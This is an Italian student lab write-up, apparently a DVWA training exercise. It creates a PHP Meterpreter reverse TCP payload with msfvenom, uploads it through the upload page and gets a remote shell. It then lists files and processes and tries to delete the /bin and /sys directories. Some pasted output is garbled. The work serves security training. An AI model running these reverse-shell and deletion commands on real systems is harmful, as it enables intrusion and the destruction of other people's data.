Consegna:

Indicazione del codice PHP utilizzato. Usiamo una shell php creata da Meterpreter.
 Il funzionamento della shell è reso possibile dall'iniezione di codice direttamente all'URL.
 Meterpreter crea autonomamente la sua shell php

```
(davide® kali)-[~]
  💲 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.50.108 lport=4444 -f raw > exploitm.php
   No platform was selected, choosing Msf::Module::Platform::PHP from the payload
   No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1115 bytes
            error_reporting(
 is_callable
 is_callable
                                                                         socket create
                                                                                          is_callable
         AF INET SOCK STREAM SOL TCP
                                              socket connect
                fread
                                                      socket read
 unpack("Nlen'
                                                   strlen
      fread
                   strlen
                                                        socket read
                                                                                             } }
                                                                           strlen
                                                           (extension_loaded)
 ini_get('suhosin.executor.disable_eval')
                                                       create_function
```

Effettuato l'uplodad con la stessa procedura della precedente shell php, lo attiviamo caricando la pagina 192.168.50.101/dvwa/hackables/uploads/..

Il risultato è l'attivazione di una shell come segue

```
Module options (exploit/multi/handler):
  Name Current Setting Required Description
Payload options (php/meterpreter/reverse_tcp):
         Current Setting Required Description
  LHOST
         192.168.50.108
                                     The listen address (an interface may be specified)
                          ves
  LPORT
                                     The listen port
                          ves
Exploit target:
  Id Name
      Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > run
   Started reverse TCP handler on 192.168.50.108:4444
   Sending stage (39927 bytes) to 192.168.50.101
   Meterpreter session 1 opened (192.168.50.108:4444 → 192.168.50.101:56278) at 2023-05-18 18:56:28 +0200
```

A questo punto possiamo iniziare a dare comandi alla shell. È da tenere presente che una shell php ha meno funzionalità di una normale shell meterpreter, pertanto alcuni comandi non potranno essere eseguiti, come vedremo in seguito.

2) Risultato della richieste ls dalle cartelle di partenza e una sopra in gerarchia (..)

```
meterpreter > ls
Listing: /var/www/dvwa/hackable/uploads
Mode
                 Size Type Last modified
                                                        Name
                       fil
100644/rw-r--r--
                 667
                             2010-03-16 06:56:22 +0100
                                                        dvwa_email.png
                1115 fil
100600/rw-
                             2023-05-18 20:49:44 +0200 exploitm.php
100600/rw-
                35
                       fil
                             2023-05-16 22:49:08 +0200 shell.php
                       fil
                             2023-05-17 19:13:55 +0200
100600/rw-
                 35
                                                        shell1.php
100600/rw----
                 677
                       fil
                             2023-05-17 19:21:08 +0200 weevely.php
meterpreter >
```

- 3) Eventuali altre scoperte
 - 1- Bin:

```
<u>neterpreter</u> > cd
neterpreter > ls
Name
                                                                                                                        bash
                                                                                                                                                                                                                                   bunzip2
bzcat
                                                                                                                                                                                                                                    bzcmp
bzdiff
                                                                                                                                                                                                                                   bzegrep
bzexe
bzfgrep
                                                                                                                                                                                                                                   bzgrep
bzip2
bzip2recover
bzless
                                                                                                                                                                                                                                   bzmore
                                                                                                                                                                                                                                  cat
chgrp
chmod
chown
                                                                                                                                                                                                                                   cp
cpio
dash
date
                                                                                                                         2008-04-04 08:42:37 +0200 2008-04-04 08:42:37 +0200 2008-04-04 08:42:37 +0200 2008-04-04 08:42:37 +0200 2008-04-10 19:01:01 0008-04-10 19:01:01 0008-04-04 08:42:37 +0200 2008-02-90 08:19:35 +0100 2007-10-23 22:58:59 +0200 2008-02-06 23:49:54 +0100 2007-10-23 22:58:59 +0200 2008-02-06 23:49:54 +0100 2007-10-23 11:15:03 +0100 2008-02-06 19:25:12 +0100 2008-02-06 19:25:12 +0100 2007-11-15 12:49:42 +0100 2007-11-15 12:49:42 +0100
                                                                                                                                                                                                                                  dir
dmesg
dnsdomainname
                                                                                                                                                                                                                                    echo
ed
                                                                                                                                                                                                                                  egrep
false
fgconsole
fgrep
fuser
fusermount
                                                                                                                                                                                                                                  grep
gunzip
gzexe
gzip
hostname
                                                                                                                          2007-11-23 22:58:59 +02.00
2007-11-15 12:49:42 +0100
2007-11-15 12:49:42 +0100
2007-11-15 12:49:44 +0100
2007-11-15 19:01:36 +0100
2008-04-12 09:26:11 +0200
2008-02-06 23:49:54 +0100
2008-03-13 23:24:47 +0100
                                                                                                                                                                                                                                   ip
kbd_mode
                                                                                                                                                                                                        +0100
+0100
+0200
                                                                                                                                                                                                                                    kill
ln
```

2- Ps per elencare la lista dei processi attivi:

```
postgres: wal writer process

ff postgres: writer process
postgres: writer process
postgres: wal writer process
postgres: autovacuum launcher process
postgres: state collector process
distccd — daemon — user daemon — allow 0.0.0/0
distccd — daemon — user daemon — allow 0.0.0/0
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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       root [nfsd]
root [nfsd]
root [nfsd]
root [nfsd]
root [nfsd]
root | usr/sbin/rpc.mountd
root | usr/sbin/rpc.mountd
root | usr/sbin/rpc.mountd
root | usr/sbin/rmc.mountd
postfix | ours/sbin/sinds-to |
root | usr/sbin/sindd -0 |
root | usr/sbin/sind -0 |
root | usr/sbi
```

3- Ho provato a "cancellare" qualche cartella ma senza esito

```
meterpreter > options
    Unknown command: options
meterpreter > rm -r bin
   stdapi_fs_delete_file: Operation failed: 1
meterpreter > rmdir bin
Removing directory: bin
    stdapi_fs_delete_dir: Operation failed: 1
```

<u>meterpreter</u> > ls Listing: /

Mode	Size	Туре	Last modifi	.ed		Name
040755/rwxr-xr-x	4096	dir	2012-05-14	05:35:33	+0200	bin
040755/rwxr-xr-x	1024	dir	2012-05-14	05:36:28	+0200	boot
040755/rwxr-xr-x	4096	dir	2010-03-16	23:55:51	+0100	cdrom
040755/rwxr-xr-x	13380	dir	2023-05-18	20:23:32	+0200	dev
040755/rwxr-xr-x	4096	dir	2023-05-18	20:23:36	+0200	etc
040755/rwxr-xr-x	4096	dir	2010-04-16	08:16:02	+0200	home
040755/rwxr-xr-x	4096	dir	2010-03-16	23:57:40	+0100	initrd
100644/rw-rr	7929183	fil	2012-05-14	05:35:56	+0200	initrd.img
040755/rwxr-xr-x	4096	dir	2012-05-14	05:35:22	+0200	lib
040700/rwx	16384	dir	2010-03-16	23:55:15	+0100	lost+found
040755/rwxr-xr-x	4096	dir	2010-03-16	23:55:52	+0100	media
040755/rwxr-xr-x	4096	dir	2010-04-28	22:16:56	+0200	mnt
100600/rw	18799	fil	2023-05-18	20:23:57	+0200	nohup.out
040755/rwxr-xr-x	4096	dir	2010-03-16	23:57:39	+0100	opt
040555/r-xr-xr-x	0	dir	2023-05-18	20:23:24	+0200	proc
040755/rwxr-xr-x	4096	dir	2023-05-18	20:23:57	+0200	root
040755/rwxr-xr-x	4096	dir	2012-05-14	03:54:53	+0200	sbin
040755/rwxr-xr-x	4096	dir	2010-03-16	23:57:38	+0100	srv
040755/rwxr-xr-x	0	dir	2023-05-18	20:23:25	+0200	sys
041777/rwxrwxrwx	4096	dir	2023-05-18	20:49:44	+0200	tmp
040755/rwxr-xr-x	4096	dir	2010-04-28	06:06:37	+0200	usr
040755/rwxr-xr-x	4096	dir	2010-03-17	15:08:23	+0100	var
100644/rw-rr	1987288	fil	2008-04-10	18:55:41	+0200	vmlinuz

meterpreter > cd sys meterpreter > ls Listing: /sys

Mode	Size	Type	Last modified	Name
		_	· ************************************	
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:31 +0200	block
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:29 +0200	bus
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:31 +0200	class
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:25 +0200	devices
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:28 +0200	firmware
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:25 +0200	fs
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:25 +0200	kernel
040755/rwxr-xr-x	0	dir	2023-05-18 21:06:44 +0200	module
040755/rwxr-xr-x	0	dir	2023-05-18 20:23:28 +0200	power
040755/rwxr-xr-x	0	dir	2023-05-18 21:06:44 +0200	slab

meterpreter > rmdir -r class
Removing directory: -r
[-] stdapi_fs_delete_dir: Operation failed: 1